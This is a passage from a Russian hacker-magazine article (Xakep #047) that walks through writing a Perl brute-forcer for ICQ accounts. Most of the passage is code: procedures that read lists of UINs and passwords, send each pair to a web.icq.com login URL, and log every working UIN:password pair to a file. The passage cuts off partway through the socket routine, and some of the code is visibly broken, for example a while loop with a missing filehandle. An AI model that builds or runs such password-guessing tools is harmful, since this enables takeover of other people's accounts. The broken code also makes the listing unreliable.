|
Персональный ICQ брутфорс
Xakep, номер #047, стр. 047-086-2 Немного о процедурах. Процедуры в языке Perl задаются следующим образом: sub имя_процедуры { ..... } (где в блоке { } расположен код процедуры). Существует два пути пересылки параметров процедуре. Либо как глобальные переменные, которые будут заранее объявлены в главном модуле, либо на уровне параметров (вызов осуществляется так: имя_процедуры (параметр1, параметр2, ...). Принять такие параметры в самом сабе можно, выцепив их из дефолтового массива @_, следующим образом: my($param1,$param2)=@_, где my() - локализация переменных. Весь код брутфорса будет составлен практически из процедур, и ты сам впоследствии заценишь их гибкость и удобство. sub checkstart { &crash(1,$uins) unless (-f $uins); &crash(1,$passwordlst) unless (-f $passwordlst); } Здесь - crash - дальнейшая процедура обработки ошибок. Далее открываем файл с уинами и поочередно заполняем массив @uinslst номерами. sub openuins { open(UINS,"$uins") || &crash(10); while( { chomp($_); push(@uinslst,$_) # Заполняем массив @uinslst в цикле } close(UINS); for ($iall=0;$iall<=scalar(@uinslst);$iall++) { if ($iall>=scalar(@uinslst)) { &crash(2) } $prepareuin=$uinslst[$iall]; ## Для каждого уина - выполним его выделение в переменную print "Getting uin $prepareuin\n" if $debug; openpass($prepareuin); # И отправимся на следующую процедуру (перебор паролей для него) } } openpass() практически аналогичная процедура (вместо уинов фигурируют пароли). Смысл этой процедуры - передать уин и пароль на процедуру crack() и отследить возврат, который может быть либо 2, либо 3 (пароль найден, либо все пароли закончились). sub crack { my($passwd,$uin)=@_; # Берем из параметров уин и пароль unless ($passwd) { return 3; # Если нет пароля - возвращаем 3 } print "Trying $uin and $passwd... \n" if $debug; $dir="/newlogin/1,,,00.html?&karma_fail_url=http://web.icq.com/login/login_page?karma_product_css=11&karma_success_url=http://web.icq.com/whitepages/change_details/?&karma_forget=1&karma_service=1&karma_user_login=$uin&karma_user_passwd=$passwd"; # Так выглядит путь к скрипту и параметры, которые необходимо послать серверу. $resuilt=&sock($dir); ## Отправка на процедуру создания сокета и отправки данных серверу if ($resuilt == -1) # Анализ результата { print "Can\'t connect to server... Reconnecting\n" if $debug; redo } elsif (!($resuilt)) { print "failed\n" if $debug; return 0; } elsif ($resuilt) { print "success\n" if $debug; logging($success,"$uin\:$passwd"); $i++; return 2; } } Итак, процедура crack(). В ней фактически идет анализ результата следующей процедуры sock(). Если результат = -1 - коннект к серверу не состоялся - реконнектимся. Если результат нулевой - сообщаем, что пароль неверный, иначе, если пароль верный, то логируем в logg.txt аккаунт и возвращаем код 2 (openpass() прореагирует на него, как брать следующий по списку UIN). sub sock { my($socket); my($get)=@_; $socket=IO::Socket::INET->new( PeerAddr => $server, |